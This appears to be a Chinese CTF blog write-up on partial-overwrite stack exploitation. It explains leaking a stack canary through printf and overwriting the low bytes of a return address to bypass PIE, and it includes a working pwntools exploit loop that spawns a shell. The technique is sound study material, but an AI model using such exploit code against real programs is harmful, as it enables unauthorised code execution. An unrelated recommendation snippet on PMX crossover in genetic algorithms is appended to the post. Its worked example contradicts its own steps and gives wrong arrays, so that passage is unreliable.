花式栈溢出技巧----partial overwrite

学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite

                  https://bbs.ichunqiu.com/thread-43627-1-1.html

                  https://www.jianshu.com/p/c3624f5dd583

partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想

我们知道, 在程序开启了 PIE 保护时 (PIE enabled) 高位的地址会发生随机化, 用来由于受到堆栈和libc地址可预测的困扰,但低位的偏移是始终固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护

那么就清楚了,这种绕过方法是主要争对PIE保护的,partial write(部分写入)就是一种利用了PIE技术缺陷的bypass技术

打开给的例子

拖进IDA找栈溢出漏洞

第一个read函数可以恶意溢出,第二个read函数百分之百溢出

搜字符串可以搜到我们想要的,同时文件中也包含system函数

可以发现先直接调用函数A3E就好,只要把rip改过去就好

在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了

那咋办,这里从大佬那里看到了printf函数的小技巧

printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值, canary 就可以被 printf 打印出来了,我们把低位数据改一改就可以

研究一波怎么改

先是打断点就已经坑到我了,因为有PIE保护,后来听大佬的方法是先把程序打断点打炸,然后再vmmap,然后重打断点,重新运行才行

汇编代码可以看见buf的地址放在rsi上

输入a的话低位肯定是0x61是非0的

Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置, 如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序

这样只要接收'a' * (0x30 - 0x8 + 1) 后的 7 位, 再加上最低位的 '\0', 我们就恢复出程序的 canary 了,为啥是七位呢,因为cannary低位是\x00,printf不就停止输出了么,那我们干脆只要七位好了

第二次read的时候我们可以观察到返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为 0x0A3E, 就有一定的几率 get shell,那我们不断循环直到成功就好了

exp

while True:
    try:
        payload='a'*(0x30-0x08+1)
        cn.recvuntil('Input your Name:')
        cn.send(payload)
        cn.recvuntil('a'*(0x30-0x08+1))
        canary = '\0' + cn.recvn(7)
        success(canary.encode('hex'))
        cn.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
        cn.interactive()
    except Exception as e:
        cn.close()
        print e

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Partial-Mapped Crossover(PMX)是一种常用于遗传算法中的交叉操作。其目的是在两个父代个体中交换一部分基因片段,以产生新的个体作为下一代的可能解。 PMX首先选择两个随机位置作为交叉点,然后将这两个位置之间的基因片段进行交换。交换后,每个子代个体中仍然可能存在相同的基因,但不同基因的顺序被改变了。接下来,我们需要对子代个体进行处理,以确保没有重复的基因。 具体来说,我们从交叉点之后的基因片段开始,将其中的重复基因对应到另一个父代个体中的相同位置,并将其相映射的基因也进行相应的交换。这一过程同样适用于交叉点之前的基因片段。这样,我们就得到了一个没有重复基因的子代个体。 举个例子来说,假设有两个父代个体分别为A = [1, 2, 3, 4, 5, 6]和B=[4, 2, 6, 1, 3, 5],选择的交叉点为2和4。在交换了交叉点2和4之间的基因片段之后,得到的子代个体为C=[1, 2, 6, 4, 3, 5]。我们需要处理C中的重复基因。 首先,我们找到C中重复的基因2和6,对应到A中的位置为2和3,于是交换A中2和3位置的基因,得到A’=[1, 6, 3, 4, 5, 2]。然后,我们找到C中重复的基因4和3,对应到B中的位置为4和3,于是交换B中4和3位置的基因,得到B’=[4, 2, 5, 1, 6, 3]。最终,我们得到了没有重复基因的子代个体C’=[1, 6, 5, 4, 3, 2]作为下一代的可能解。 通过进行PMX交叉操作可以保留父代个体中的一些有用特征,并产生新的个体,增加了遗传算法搜索解空间的多样性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值